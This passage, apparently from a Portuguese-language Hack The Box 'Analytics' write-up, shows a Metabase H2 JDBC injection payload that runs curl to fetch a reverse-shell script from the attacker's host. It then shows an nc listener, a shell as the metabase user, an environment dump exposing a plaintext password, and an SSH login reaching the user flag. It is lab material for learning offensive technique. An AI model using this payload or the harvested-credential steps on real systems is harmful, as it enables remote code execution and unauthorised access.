            &lt;span class="nv"&gt;"db"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="nv"&gt;;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="nv"&gt;java.lang.Runtime.getRuntime().exec('curl -O http://10.10.14.186:8081/rev.sh')&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="nv"&gt;$$--=x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nv"&gt;"advanced-options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nv"&gt;"ssl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="nv"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"test123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nv"&gt;"engine"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"h2"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso temos o retorno em nosso servidor web:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="mi"&gt;8081&lt;/span&gt;
&lt;span class="n"&gt;Serving&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="mi"&gt;8081&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8081&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;129&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Oct&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nv"&gt;"GET /rev.sh HTTP/1.1"&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uma vez que nosso reverse shell esta no servidor remoto vamos abrir uma conexão com o netcat ouvindo na porta 9001:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;windows&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;visual&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;nc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lvnp&lt;/span&gt; &lt;span class="mi"&gt;9001&lt;/span&gt;
&lt;span class="n"&gt;listening&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;9001&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora vamos alterar o comando remoto para executar nosso reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getRuntime&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'bash rev.sh'&lt;/span&gt;&lt;span class="p"&gt;)..&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ficando da seguinte forma:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0y2hsudv1gmp105cmd8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0y2hsudv1gmp105cmd8q.png" alt="Reverse shell" width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E assim temos o retorno em nosso netcat, com o nosso primeiro shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;windows&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;visual&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;nc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lvnp&lt;/span&gt; &lt;span class="mi"&gt;9001&lt;/span&gt;
&lt;span class="n"&gt;listening&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;9001&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;connect&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;UNKNOWN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;129&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;50406&lt;/span&gt;
&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;'t access tty; job control turned off
/ $ id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Umá rápida análise notamos que estamos em um container, no entanto, ao visualizar as envs encontramos dados de acesso nas envs &lt;strong&gt;META_USER&lt;/strong&gt; e &lt;strong&gt;META_PASS&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;env&lt;/span&gt;
&lt;span class="n"&gt;MB_LDAP_BIND_DN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="k"&gt;LANGUAGE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;en_US&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;en&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;metabase&lt;/span&gt;
&lt;span class="n"&gt;HOSTNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d18aa1afd928&lt;/span&gt;
&lt;span class="n"&gt;FC_LANG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;en&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;US&lt;/span&gt;
&lt;span class="n"&gt;SHLVL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="n"&gt;LD_LIBRARY_PATH&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;
&lt;span class="n"&gt;HOME&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;metabase&lt;/span&gt;
&lt;span class="n"&gt;OLDPWD&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;
&lt;span class="n"&gt;MB_EMAIL_SMTP_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;LC_CTYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;en_US&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;JAVA_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;jdk&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="n"&gt;LOGNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;metabase&lt;/span&gt;
&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;
&lt;span class="n"&gt;MB_DB_CONNECTION_URI&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;
&lt;span class="n"&gt;MB_DB_PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;MB_JETTY_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;META_PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;An4lytics_ds20223&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;
&lt;span class="n"&gt;LANG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;en_US&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;MB_LDAP_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;SHELL&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;
&lt;span class="n"&gt;MB_EMAIL_SMTP_USERNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;MB_DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="n"&gt;META_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;metalytics&lt;/span&gt;
&lt;span class="n"&gt;LC_ALL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;en_US&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;JAVA_HOME&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;
&lt;span class="n"&gt;PWD&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;
&lt;span class="n"&gt;MB_DB_FILE&lt;/span&gt;&lt;span class="o"&gt;=//&lt;/span&gt;&lt;span class="n"&gt;metabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;metabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos acesso via ssh utilizando usuário e senha encontrados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt; &lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytical&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt;
&lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytical&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt;&lt;span class="s1"&gt;'s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

- Documentation: [https://help.ubuntu.com](https://help.ubuntu.com/)
- Management: [https://landscape.canonical.com](https://landscape.canonical.com/)
- Support: https://ubuntu.com/advantage

System information as of Sun Oct  8 03:47:20 PM UTC 2023

System load:              0.3564453125
Usage of /:               93.8% of 7.78GB
Memory usage:             29%
Swap usage:               0%
Processes:                201
Users logged in:          0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0:    10.129.86.111
IPv6 address for eth0:    dead:beef::250:56ff:fe96:8e71

=&amp;gt; / is using 93.8% of 7.78GB
=&amp;gt; There are 45 zombie processes.

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Tue Oct  3 09:14:35 2023 from 10.10.14.41
metalytics@analytics:~$
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso conseguimos a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;metalytics&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;analytics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;alh&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt;
&lt;span class="n"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="c1"&gt;--- 4 metalytics metalytics 4.0K Aug  8 11:37 .&lt;/span&gt;
&lt;span class="n"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;       &lt;span class="n"&gt;root&lt;/span&gt;       &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="n"&gt;Aug&lt;/span&gt;  &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="p"&gt;..&lt;/span&gt;
&lt;span class="n"&gt;lrwxrwxrwx&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;       &lt;span class="n"&gt;root&lt;/span&gt;          &lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;Aug&lt;/span&gt;  &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bash_history&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r-- 1 metalytics metalytics  220 Aug  3 08:53 .bash_logout&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="c1"&gt;--r-- 1 metalytics metalytics 3.7K Aug  3 08:53 .bashrc&lt;/span&gt;
